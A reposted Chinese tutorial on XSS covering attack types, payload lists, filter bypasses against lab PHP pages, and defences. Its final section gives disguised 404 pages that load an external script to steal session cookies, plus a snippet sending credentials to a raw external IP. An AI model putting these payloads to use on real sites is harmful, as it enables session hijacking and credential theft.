Skip to content

XSS

中文名 跨站脚本攻击 攻击手段 盗用cookie等
外文名 Cross Site Scripting 特 点 隐蔽性强、发起容易等特点
造成原因 程序漏洞 所属领域 计算机技术

XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击！

XSS的分类

  • 存储型

    • 存储型XSS，持久化，代码是存储在服务器中的，如在个人信息或发表文章等地方，插入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie。
      存储型

  • 反射型

    • 非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
      反射型

  • DOM型XSS

    • 不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞，DOM-XSS是通过url传入参数去控制触发的，其实也属于反射型XSS。

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write

示例

如图，我们在URL中传入参数的值，然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值，再通过DOM方法赋值给选择列表，该过程没有经过后端，完全是在前端完成的。所以，我们就可以在我们输入的参数上做手脚了

示例

XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替， 例如 <script>alert(1)</script//

  • <script>标签：<script>标签是最直接的XSS有效载荷，脚本标记可以引用外部的JavaScript代码，也可以将代码插入脚本标记中 
    <script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1，对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

  • svg标签 

    <svg onload="alert(1)">
<svg onload="alert(1)"//

  • <img>标签 

    <img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie

  • <body>标签 

    <body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

  • video标签 

    <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

  • style标签 

    <style οnlοad=alert(1)></style>

XSS可以插在哪里？

  • 用户输入作为script标签内容
  • 用户输入作为HTML注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS里
  • 最重要的是，千万不要引入任何不可信的第三方JavaScript到页面里！
#用户输入作为HTML注释内容，导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名，导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值，导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名，导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容，导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS漏洞的挖掘

  • 黑盒测试: 尽可能找到一切用户可控并且能够输出在页面代码中的地方，比如下面这些：

    1. URL的每一个参数
    2. URL本身
    3. 表单
    4. 搜索框

  • 常见业务场景

    1. 重灾区：评论区、留言区、个人信息、订单信息等
    2. 针对型：站内信、网页即时通讯、私信、意见反馈
    3. 存在风险：搜索框、当前目录、图片属性等

  • 白盒测试(代码审计) 关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等，可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪，看看有没有输出到页面中，然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句，跟踪输出的变量是从哪里来的，我们是否能控制，如果从数据库中取的，是否能控制存到数据库中的数据，存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用，我们就需要审计这些公共函数看有没有过滤，能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

XSS的攻击过程

反射型XSS漏洞：

  1. Alice经常浏览某个网站，此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录，并存储了Alice敏感信息(比如银行帐户信息)。
  2. Tom 发现 Bob的站点存在反射性的XSS漏洞
  3. Tom 利用Bob网站的反射型XSS漏洞编写了一个exp，做成链接的形式，并利用各种手段诱使Alice点击
  4. Alice在登录到Bob的站点后，浏览了 Tom 提供的恶意链接
  5. 嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。
  6. Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点，如果脚本的功更强大的话，Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制

存储型XSS漏洞：

  1. Bob拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。
  2. Tom检测到Bob的站点存在存储型的XSS漏洞。
  3. Tom在Bob的网站上发布一个带有恶意脚本的热点信息，该热点信息存储在了Bob的服务器的数据库中，然后吸引其它用户来阅读该热点信息。
  4. Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。
  5. Tom的恶意脚本执行后，Tom就可以对浏览器该页面的用户发动一起XSS攻击

XSS漏洞的危害

从以上我们可以知道，存储型的XSS危害最大。因为他存储在服务器端，所以不需要我们和被攻击者有任何接触，只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL，需要我们和用户有直接或者间接的接触，比如利用社会工程学或者利用在其他网页挂马的方式。

那么，利用XSS漏洞可以干什么呢？

那么，利用XSS漏洞可以干什么呢？

如果我们的JS水平一般的话，我们可以利用网上免费的XSS平台来构造代码实施攻击。

XSS漏洞的简单攻击测试

反射型XSS

  1. 页面源代码

    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>反射型XSS</title>
    </head>
    <body>
        <form action="action.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
</html>

    <?php
    $name=$_POST["name"]; 
    echo $name;

  2. 这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理

    步骤2

  3. 所以，我们可以在输入框中提交数据： <script>alert('hack')</script> ，看看会有什么反应
    步骤3
  4. 页面直接弹出了hack的页面，可以看到，我们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞，这种漏洞数据流向是： 前端-->后端-->前端

存储型XSS

  1. 页面源代码

    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>存储型XSS</title>
    </head>
    <body>
        <form action="action2.php" method="post">
            输入你的ID：<input type="text" name="id" /> <br/>
            输入你的Name：<input type="text" name="name" /> <br/>
            <input type="submit" value="提交">
        </form>
    </body>
</html>

    <?php
    $id=$_POST["id"];
    $name=$_POST["name"];
    mysql_connect("localhost","root","root");
    mysql_select_db("test");

    $sql="insert into xss value ($id,'$name')";
    $result=mysql_query($sql);
?>

    <?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
    echo $row['name'];
}
?>

  2. 这里有一个用户提交的页面，数据提交给后端之后，后端存储在数据库中。然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS代码就被执行了

    步骤2

  3. 我们输入 1 和 <script>alert(\'hack\')</script> ，注意，这里的hack的单引号要进行转义，因为sql语句中的$name是单引号的，所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后，我们看看数据库
    步骤3
  4. 可以看到，我们的XSS语句已经插入到数据库中了。然后当其他用户访问 show2.php 页面时，我们插入的XSS代码就执行了。
  5. 存储型XSS的数据流向是：前端-->后端-->数据库-->后端-->前端
    步骤4

DOM型XSS

  1. 页面源代码

    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title>DOM型XSS</title>
    </head>
    <body>
        <form action="action3.php" method="post">
            <input type="text" name="name" />
            <input type="submit" value="提交">
        </form>
    </body>
</html>

    <?php
    $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
    var text=document.getElementById("text");
    var print=document.getElementById("print");
    print.innerHTML=text.value;  // 获取 text的值，并且输出在print内。这里是导致xss的主要原因。
</script>

  2. 这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理

    步骤2

  3. 我们可以输入 <img src=1 οnerrοr=alert('hack')> ，然后看看页面的变化

    步骤2

  4. 页面直接弹出了 hack 的页面，可以看到，我们插入的语句已经被页面给执行了。这就是DOM型XSS漏洞，这种漏洞数据流向是： 前端-->浏览器

XSS的简单过滤和绕过

在sql注入中，利用一些函数（如：preg_replace()），将组成sql语句的一些字符给过滤，以防止注入。那么，程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是，道高一尺魔高一丈，虽然过滤了，但是还是可以进行过滤绕过，以达到XSS攻击的目的

区分大小写过滤标签

  1. 页面源代码

    <html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

    <?php
    $name=$_POST["name"]; 
    if($name!=null){
        $name=preg_replace("/<script>/","",$name);      //过滤<script>
        $name=preg_replace("/<\/script>/","",$name);   //过滤</script>
        echo $name; 
    }
?>

  2. 绕过技巧：可以使用大小写绕过 <scripT>alert('hack')</scripT>

    步骤2

不区分大小写过滤标签

  1. 页面源代码，这个和上面的代码一模一样，只不过是过滤的时候多加了一个 i ，以不区分大小写

    <?php
    $name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
    $name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
?>

  2. 绕过技巧：可以使用嵌套的script标签绕过 <scr<script>ipt>alert('hack')</scr</script>ipt>

    步骤2

不区分大小写，过滤之间的所有内容

  1. 页面源代码，这个和上面的代码一模一样，只不过是过滤的时候过滤条件发生了变化

    <?php
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
?>

    Info

    虽然无法使用<script>标签注入XSS代码，但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

  2. payload： <img src=1 οnerrοr=alert('hack')>

    步骤2

  3. 我们可以输入 <img src=1 οnerrοr=alert('hack')> ，然后看看页面的变化

    步骤3

XSS的防御

XSS防御的总体思路是：对用户的输入(和URL参数)进行过滤，对输出进行html编码。也就是对用户提交的所有内容进行过滤，对url中的参数进行过滤，过滤掉会导致脚本执行的相关内容；然后对动态输出到页面的内容进行html编码，使脚本无法在浏览器中执行。

对输入的内容进行过滤，可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击，但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码，就是通过函数，将用户的输入的数据进行html编码，使其不能作为脚本运行。

如下，是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体

#使用htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

如下，图一是没有进行html编码的，图2是进行了html编码的。经过html编码后script标签被当成了html实体。

图一

图二

我们还可以服务端设置会话Cookie的HTTP Only属性，这样，客户端的JS脚本就不能获取Cookie信息了

反射型XSS的利用姿势

我们现在发现一个网站存在反射型XSS，当用户登录该网站时，我们通过诱使用户点击我们精心制作的恶意链接，来盗取用户的Cookie并且发送给我们，然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。

get型

  1. 当我们输入参数的请求类型的get类型的，即我们输入的参数是以URL参数的形式。如下图。该链接的为：http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

  2. 那么，我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢？

  3. 我们构造了如下代码，将其保存为html页面，然后放到我们自己的服务器上，做成一个链接。当用户登录了存在漏洞的网站，并且用户点击了我们构造的恶意链接时，该链接页面会偷偷打开iframe框架，iframe会访问其中的链接，然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上，但是用户却浑然不知，他会发现打开的是一个404的页面！ 

    <iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>

    <!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉，您要访问的页面不存在！
            </h3> 
        </div>
    </div>
</div>
</body>
</html>

  4. 而我们的XSS平台将得到用户的Cookie，然后我们就可以利用得到的Cookie以用户的身份访问该网站了

  5. 注：我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置，并且会话Cookie没有设置Http Only属性

post型

  1. 我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞
  2. 我们抓包查看
  3. 我们构造了如下代码，将其保存为html页面，然后放到我们自己的服务器上，做成一个链接。当用户登录了存在漏洞的网站，并且用户点击了我们构造的恶意链接时，该恶意链接的页面加载完后会执行js代码，完成表单的提交，表单的用户名参数是我们的恶意js代码。提交完该表单后，该js代码会把存在漏洞网站的cookie发送到我们的平台上，但是用户却浑然不知，他会发现打开的是一个404的页面。
  4. 我们这里写了一个404页面，404页面中隐藏了一个form提交的表单，为了防止提交表单后跳转，我们在表单下加了一个iframe框架，并且iframe框架的name等于form表单的target，并且我们设置iframe框架为不可见。 
    <!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
    <script type="text/javascript">
        function attack()
{
            document.getElementById("transfer").submit();
        }
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉，您要访问的页面不存在！
            </h3>
        </div>
    </div>
    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
        <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
        <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
  5. 当用户点击了我们构造的恶意链接，发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交
  6. 而我们的XSS平台也收到了发送来的数据(这数据中没有Cookie的原因是这个网站我没设置Cookie，只是随便写的一个页面)

利用JS将用户信息发送给后台

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
            user="admin";
            pass="root";
            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style","display:none");
            $("#body").append(frame);      //添加一个iframe框架，并设置不显示。这个框架会偷偷访问该链接。
        });
</script>
</head>
<body id="body">
    <h3>hello,word!</h3>
</body>
</html>
当用户访问了该页面，我们后台就可以看到用户访问记录





转自《Web漏洞之XSS(跨站脚本攻击)详解》